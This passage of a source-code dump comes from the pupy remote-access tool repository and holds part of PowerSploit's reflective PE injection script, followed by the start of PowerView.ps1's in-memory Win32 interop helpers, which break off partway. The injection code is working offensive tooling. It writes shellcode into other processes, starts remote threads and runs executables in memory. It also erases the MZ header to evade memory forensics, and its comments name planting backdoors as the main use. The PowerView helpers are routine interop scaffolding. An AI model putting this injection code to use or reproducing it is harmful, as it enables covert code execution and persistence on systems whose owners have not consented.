            {
                $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)

                if ($PEInfo.PE64Bit -eq $true)
                {
                    #Shellcode: CallDllMain.asm
                    $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
                    $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
                    $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
                }
                else
                {
                    #Shellcode: CallDllMain.asm
                    $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
                    $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
                    $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
                }
                $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
                $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
                $SCPSMemOriginal = $SCPSMem

                Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
                [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
                Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
                [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
                Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)

                $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
                if ($RSCAddr -eq [IntPtr]::Zero)
                {
                    Throw "Unable to allocate memory in the remote process for shellcode"
                }

                $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
                if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
                {
                    Throw "Unable to write shellcode to remote process memory."
                }

                $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
                $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
                if ($Result -ne 0)
                {
                    Throw "Call to CreateRemoteThread to call GetProcAddress failed."
                }

                $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
            }
        }
        elseif ($PEInfo.FileType -ieq "EXE")
        {
            #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
            [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
            [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
            $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr

            #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
            #   This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
            [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
            Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."

            $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null

            while($true)
            {
                [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
                if ($ThreadDone -eq 1)
                {
                    Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
                    Write-Verbose "EXE thread has completed."
                    break
                }
                else
                {
                    Start-Sleep -Seconds 1
                }
            }
        }

        return @($PEInfo.PEHandle, $EffectivePEHandle)
    }


    Function Invoke-MemoryFreeLibrary
    {
        Param(
        [Parameter(Position=0, Mandatory=$true)]
        [IntPtr]
        $PEHandle
        )

        #Get Win32 constants and functions
        $Win32Constants = Get-Win32Constants
        $Win32Functions = Get-Win32Functions
        $Win32Types = Get-Win32Types

        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants

        #Call FreeLibrary for all the imports of the DLL
        if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
        {
            [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)

            while ($true)
            {
                $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)

                #If the structure is null, it signals that this is the end of the array
                if ($ImportDescriptor.Characteristics -eq 0 `
                        -and $ImportDescriptor.FirstThunk -eq 0 `
                        -and $ImportDescriptor.ForwarderChain -eq 0 `
                        -and $ImportDescriptor.Name -eq 0 `
                        -and $ImportDescriptor.TimeDateStamp -eq 0)
                {
                    Write-Verbose "Done unloading the libraries needed by the PE"
                    break
                }

                $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
                $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)

                if ($ImportDllHandle -eq $null)
                {
                    Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
                }

                $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
                if ($Success -eq $false)
                {
                    Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
                }

                $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
            }
        }

        #Call DllMain with process detach
        Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
        $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
        $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
        $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)

        $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null


        $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
        if ($Success -eq $false)
        {
            Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
        }
    }


    Function Main
    {
        $Win32Functions = Get-Win32Functions
        $Win32Types = Get-Win32Types
        $Win32Constants =  Get-Win32Constants

        $RemoteProcHandle = [IntPtr]::Zero

        #If a remote process to inject in to is specified, get a handle to it
        if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
        {
            Throw "Can't supply a ProcId and ProcName, choose one or the other"
        }
        elseif ($ProcName -ne $null -and $ProcName -ne "")
        {
            $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
            if ($Processes.Count -eq 0)
            {
                Throw "Can't find process $ProcName"
            }
            elseif ($Processes.Count -gt 1)
            {
                $ProcInfo = Get-Process | Where-Object { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
                Write-Output $ProcInfo
                Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
            }
            else
            {
                $ProcId = $Processes[0].ID
            }
        }

        #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
        #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
#       if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
#       {
#           Write-Verbose "Getting SeDebugPrivilege"
#           Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
#       }

        if (($ProcId -ne $null) -and ($ProcId -ne 0))
        {
            $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
            if ($RemoteProcHandle -eq [IntPtr]::Zero)
            {
                Throw "Couldn't obtain the handle for process ID: $ProcId"
            }

            Write-Verbose "Got the handle for the remote process to inject in to"
        }


        #Load the PE reflectively
        Write-Verbose "Calling Invoke-MemoryLoadLibrary"
        $PEHandle = [IntPtr]::Zero
        if ($RemoteProcHandle -eq [IntPtr]::Zero)
        {
            $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
        }
        else
        {
            $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
        }
        if ($PELoadedInfo -eq [IntPtr]::Zero)
        {
            Throw "Unable to load PE, handle returned is NULL"
        }

        $PEHandle = $PELoadedInfo[0]
        $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process


        #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
        if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
        {
            #########################################
            ### YOUR CODE GOES HERE
            #########################################
            switch ($FuncReturnType)
            {
                'WString' {
                    Write-Verbose "Calling function with WString return type"
                    [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
                    if ($WStringFuncAddr -eq [IntPtr]::Zero)
                    {
                        Throw "Couldn't find function address."
                    }
                    $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
                    $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
                    [IntPtr]$OutputPtr = $WStringFunc.Invoke()
                    $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
                    Write-Output $Output
                }

                'String' {
                    Write-Verbose "Calling function with String return type"
                    [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
                    if ($StringFuncAddr -eq [IntPtr]::Zero)
                    {
                        Throw "Couldn't find function address."
                    }
                    $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
                    $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
                    [IntPtr]$OutputPtr = $StringFunc.Invoke()
                    $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
                    Write-Output $Output
                }

                'Void' {
                    Write-Verbose "Calling function with Void return type"
                    [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "Launch"
                    if ($VoidFuncAddr -eq [IntPtr]::Zero)
                    {
                        Throw "Couldn't find function address."
                    }
                    $VoidFuncDelegate = Get-DelegateType @() ([Void])
                    $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
                    $VoidFunc.Invoke() | Out-Null
                }
            }
            #########################################
            ### END OF YOUR CODE
            #########################################
        }
        #For remote DLL injection, call a void function which takes no parameters
        elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
        {
            $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
            if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
            {
                Throw "VoidFunc couldn't be found in the DLL"
            }

            $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
            $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle

            #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
            $Null = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
        }

        #Don't free a library if it is injected in a remote process or if it is an EXE.
        #Note that all DLL's loaded by the EXE will remain loaded in memory.
        if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
        {
            Invoke-MemoryFreeLibrary -PEHandle $PEHandle
        }
        else
        {
            #Delete the PE file from memory.
            $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
            if ($Success -eq $false)
            {
                Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
            }
        }

        Write-Verbose "Done!"
    }

    Main
}

#Main function to either run the script locally or remotely
Function Main
{
    if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
    {
        $DebugPreference  = "Continue"
    }

    Write-Verbose "PowerShell ProcessID: $PID"

    #Verify the image is a valid PE file
    $e_magic = ($PEBytes[0..1] | ForEach-Object {[Char] $_}) -join ''

    if ($e_magic -ne 'MZ')
    {
        throw 'PE is not a valid PE file.'
    }

    if (-not $DoNotZeroMZ) {
        # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg
        # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.
        $PEBytes[0] = 0
        $PEBytes[1] = 0
    }

    #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1)
    if ($ExeArgs -ne $null -and $ExeArgs -ne '')
    {
        $ExeArgs = "ReflectiveExe $ExeArgs"
    }
    else
    {
        $ExeArgs = "ReflectiveExe"
    }

    if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
    {
        Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
    }
    else
    {
        Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
    }
}

Main
}


================================================
FILE: pupy/external/PowerSploit/Recon/PowerView.ps1
================================================
#requires -version 2

<#

    PowerSploit File: PowerView.ps1
    Author: Will Schroeder (@harmj0y)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

#>

########################################################
#
# PSReflect code for Windows API access
# Author: @mattifestation
#   https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
#
########################################################

function New-InMemoryModule
{
<#
    .SYNOPSIS

        Creates an in-memory assembly and module

        Author: Matthew Graeber (@mattifestation)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None

    .DESCRIPTION

        When defining custom enums, structs, and unmanaged functions, it is
        necessary to associate to an assembly module. This helper function
        creates an in-memory module that can be passed to the 'enum',
        'struct', and Add-Win32Type functions.

    .PARAMETER ModuleName

        Specifies the desired name for the in-memory assembly and module. If
        ModuleName is not provided, it will default to a GUID.

    .EXAMPLE

        $Module = New-InMemoryModule -ModuleName Win32
#>

    Param
    (
        [Parameter(Position = 0)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ModuleName = [Guid]::NewGuid().ToString()
    )

    $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()

    ForEach ($Assembly in $LoadedAssemblies) {
        if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
            return $Assembly
        }
    }

    $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
    $Domain = [AppDomain]::CurrentDomain
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)

    return $ModuleBuilder
}


# A helper function used to reduce typing while defining function
# prototypes for Add-Win32Type.
function func
{
    Param
    (
        [Parameter(Position = 0, Mandatory = $True)]
        [String]
        $DllName,

        [Parameter(Position = 1, Mandatory = $True)]
        [String]
        $FunctionName,

        [Parameter(Position = 2, Mandatory = $True)]
        [Type]
        $ReturnType,

        [Parameter(Position = 3)]
        [Type[]]
        $ParameterTypes,

        [Parameter(Position = 4)]
        [Runtime.InteropServices.CallingConvention]
        $NativeCallingConvention,

        [Parameter(Position = 5)]
        [Runtime.InteropServices.CharSet]
        $Charset,

        [Switch]
        $SetLastError
    )

    $Properties = @{
        DllName = $DllName
        FunctionName = $FunctionName
        ReturnType = $ReturnType
    }

    if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
    if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
    if ($Charset) { $Properties['Charset'] = $Charset }
    if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }

    New-Object PSObject -Property $Properties
}


function Add-Win32Type
{
<#
    .SYNOPSIS

        Creates a .NET type for an unmanaged Win32 function.

        Author: Matthew Graeber (@mattifestation)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: func

    .DESCRIPTION

        Add-Win32Type enables you to easily interact with unmanaged (i.e.
        Win32 unmanaged) functions in PowerShell. After providing
        Add-Win32Type with a function signature, a .NET type is created
        using reflection (i.e. csc.exe is never called like with Add-Type).

        The 'func' helper function can be used to reduce typing when defining
        multiple function definitions.

    .PARAMETER DllName

        The name of the DLL.

    .PARAMETER FunctionName

        The name of the target function.

    .PARAMETER ReturnType

        The return type of the function.

    .PARAMETER ParameterTypes

        The function parameters.

    .PARAMETER NativeCallingConvention

        Specifies the native calling convention of the function. Defaults to
        stdcall.

    .PARAMETER Charset

        If you need to explicitly call an 'A' or 'W' Win32 function, you can
        specify the character set.

    .PARAMETER SetLastError

        Indicates whether the callee calls the SetLastError Win32 API
        function before returning from the attributed method.

    .PARAMETER Module

        The in-memory module that will host the functions. Use
        New-InMemoryModule to define an in-memory module.

    .PARAMETER Namespace

        An optional namespace to prepend to the type. Add-Win32Type defaults
        to a namespace consisting only of the name of the DLL.

    .EXAMPLE

        $Mod = New-InMemoryModule -ModuleName Win32

        $FunctionDefinitions = @(
          (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
          (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
          (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
        )

        $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
        $Kernel32 = $Types['kernel32']
        $Ntdll = $Types['ntdll']
        $Ntdll::RtlGetCurrentPeb()
        $ntdllbase = $Kernel32::GetModuleHandle('ntdll')
        $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')

    .NOTES

        Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189

        When defining multiple function prototypes, it is ideal to provide
        Add-Win32Type with an array of function signatures. That way, they
        are all incorporated into the same in-memory module.
#>

    [OutputType([Hashtable])]
    Param(
        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
        [String]
        $DllName,

        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
        [String]
        $FunctionName,

        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
        [Type]
        $ReturnType,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [Type[]]
        $ParameterTypes,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [Runtime.InteropServices.CallingConvention]
        $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [Runtime.InteropServices.CharSet]
        $Charset = [Runtime.InteropServices.CharSet]::Auto,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [Switch]
        $SetLastError,

        [Parameter(Mandatory = $True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,

        [ValidateNotNull()]
        [String]
        $Namespace = ''
    )

    BEGIN
    {
        $TypeHash = @{}
    }

    PROCESS
    {
        if ($Module -is [Reflection.Assembly])
        {
            if ($Namespace)
            {
                $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
            }
            else
            {
                $TypeHash[$DllName] = $Module.GetType($DllName)
            }
        }
        else
        {
            # Define one type for each DLL
            if (!$TypeHash.ContainsKey($DllName))
            {
                if ($Namespace)
                {
                    $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
                }
                else
                {
                    $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
                }
            }

            $Method = $TypeHash[$DllName].DefineMethod(
                $FunctionName,
                'Public,Static,PinvokeImpl',
                $ReturnType,
                $ParameterTypes)

            # Make each ByRef parameter an Out parameter
            $i = 1
            ForEach($Parameter in $ParameterTypes)
            {
                if ($Parameter.IsByRef)
                {
                    [void] $Method.DefineParameter($i, 'Out', $Null)
                }

                $i++
            }

            $DllImport = [Runtime.InteropServices.DllImportAttribute]
            $SetLastErrorField = $DllImport.GetField('SetLastError')
            $CallingConventionField = $DllImport.GetField('CallingConvention')
            $CharsetField = $DllImport.GetField('CharSet')
            if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }

            # Equivalent to C# version of [DllImport(DllName)]
            $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
            $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
                $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
                [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
                [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))

            $Method.SetCustomAttribute($DllImportAttribute)
        }
    }

    END
    {
        if ($Module -is [Reflection.Assembly])
        {
            return $TypeHash
        }

        $ReturnTypes = @{}

        ForEach ($Key in $TypeHash.Keys)
        {
            $Type = $TypeHash[$Key].CreateType()

            $ReturnTypes[$Key] = $Type
        }

        return $ReturnTypes
    }
}


function psenum
{
<#
    .SYNOPSIS

        Creates an in-memory enumeration for use in your PowerShell session.

        Author: Matthew Graeber (@mattifestation)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None
     
    .DESCRIPTION

        The 'psenum' function facilitates the creation of enums entirely in
        memory using as close to a "C style" as PowerShell will allow.

    .PARAMETER Module

        The in-memory module that will host the enum. Use
        New-InMemoryModule to define an in-memory module.

    .PARAMETER FullName

        The fully-qualified name of the enum.

    .PARAMETER Type

        The type of each enum element.

    .PARAMETER EnumElements

        A hashtable of enum elements.

    .PARAMETER Bitfield

        Specifies that the enum should be treated as a bitfield.

    .EXAMPLE

        $Mod = New-InMemoryModule -ModuleName Win32

        $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
            UNKNOWN =                  0
            NATIVE =                   1 # Image doesn't require a subsystem.
            WINDOWS_GUI =              2 # Image runs in the Windows GUI subsystem.
            WINDOWS_CUI =              3 # Image runs in the Windows character subsystem.
            OS2_CUI =                  5 # Image runs in the OS/2 character subsystem.
            POSIX_CUI =                7 # Image runs in the Posix character subsystem.
            NATIVE_WINDOWS =           8 # Image is a native Win9x driver.
            WINDOWS_CE_GUI =           9 # Image runs in the Windows CE subsystem.
            EFI_APPLICATION =          10
            EFI_BOOT_SERVICE_DRIVER =  11
            EFI_RUNTIME_DRIVER =       12
            EFI_ROM =                  13
            XBOX =                     14
            WINDOWS_BOOT_APPLICATION = 16
        }

    .NOTES

        PowerShell purists may disagree with the naming of this function but
        again, this was developed in such a way so as to emulate a "C style"
        definition as closely as possible. Sorry, I'm not going to name it
        New-Enum. :P
#>

    [OutputType([Type])]
    Param
    (
        [Parameter(Position = 0, Mandatory = $True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,

        [Parameter(Position = 1, Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $FullName,

        [Parameter(Position = 2, Mandatory = $True)]
        [Type]
        $Type,

        [Parameter(Position = 3, Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [Hashtable]
        $EnumElements,

        [Switch]
        $Bitfield
    )

    if ($Module -is [Reflection.Assembly])
    {
        return ($Module.GetType($FullName))
    }

    $EnumType = $Type -as [Type]

    $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)

    if ($Bitfield)
    {
        $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
        $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
        $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
    }

    ForEach ($Key in $EnumElements.Keys)
    {
        # Apply the specified enum type to each element
        $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
    }

    $EnumBuilder.CreateType()
}


# A helper function used to reduce typing while defining struct
# fields.
function field
{
    Param
    (
        [Parameter(Position = 0, Mandatory = $True)]
        [UInt16]
        $Position,

        [Parameter(Position = 1, Mandatory = $True)]
        [Type]
        $Type,

        [Parameter(Position = 2)]
        [UInt16]
        $Offset,

        [Object[]]
        $MarshalAs
    )

    @{
        Position = $Position
        Type = $Type -as [Type]
        Offset = $Offset
        MarshalAs = $MarshalAs
    }
}


function struct
{
<#
    .SYNOPSIS

        Creates an in-memory struct for use in your PowerShell session.

        Author: Matthew Graeber (@mattifestation)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: field

    .DESCRIPTION

        The 'struct' function facilitates the creation of structs entirely in
        memory using as close to a "C style" as PowerShell will allow. Struct
        fields are specified using a hashtable where each field of the struct
        is comprosed of the order in which it should be defined, its .NET
        type, and optionally, its offset and special marshaling attributes.

        One of the features of 'struct' is that after your struct is defined,
        it will come with a built-in GetSize method as well as an explicit
        converter so that you can easily cast an IntPtr to the struct without
        relying upon calling SizeOf and/or PtrToStructure in the Marshal
        class.

    .PARAMETER Module

        The in-memory module that will host the struct. Use
        New-InMemoryModule to define an in-memory module.

    .PARAMETER FullName

        The fully-qualified name of the struct.

    .PARAMETER StructFields

        A hashtable of fields. Use the 'field' helper function to ease
        defining each field.

    .PARAMETER PackingSize

        Specifies the memory alignment of fields.

    .PARAMETER ExplicitLayout

        Indicates that an explicit offset for each field will be specified.

    .EXAMPLE

        $Mod = New-InMemoryModule -ModuleName Win32

        $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
            DOS_SIGNATURE =    0x5A4D
            OS2_SIGNATURE =    0x454E
            OS2_SIGNATURE_LE = 0x454C
            VXD_SIGNATURE =    0x454C
        }

        $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
            e_magic =    field 0 $ImageDosSignature
            e_cblp =     field 1 UInt16
            e_cp =       field 2 UInt16
            e_crlc =     field 3 UInt16
            e_cparhdr =  field 4 UInt16
            e_minalloc = field 5 UInt16
            e_maxalloc = field 6 UInt16
            e_ss =       field 7 UInt16
            e_sp =       field 8 UInt16
            e_csum =     field 9 UInt16
            e_ip =       field 10 UInt16
            e_cs =       field 11 UInt16
            e_lfarlc =   field 12 UInt16
            e_ovno =     field 13 UInt16
            e_res =      field 14 UInt16[] -MarshalAs @('ByValArray', 4)
            e_oemid =    field 15 UInt16
            e_oeminfo =  field 16 UInt16
            e_res2 =     field 17 UInt16[] -MarshalAs @('ByValArray', 10)
            e_lfanew =   field 18 Int32
        }

        # Example of using an explicit layout in order to create a union.
        $TestUnion = struct $Mod TestUnion @{
            field1 = field 0 UInt32 0
            field2 = field 1 IntPtr 0
        } -ExplicitLayout

    .NOTES

        PowerShell purists may disagree with the naming of this function but
        again, this was developed in such a way so as to emulate a "C style"
        definition as closely as possible. Sorry, I'm not going to name it
        New-Struct. :P
#>

    [OutputType([Type])]
    Param
    (
        [Parameter(Position = 1, Mandatory = $True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,

        [Parameter(Position = 2, Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $FullName,

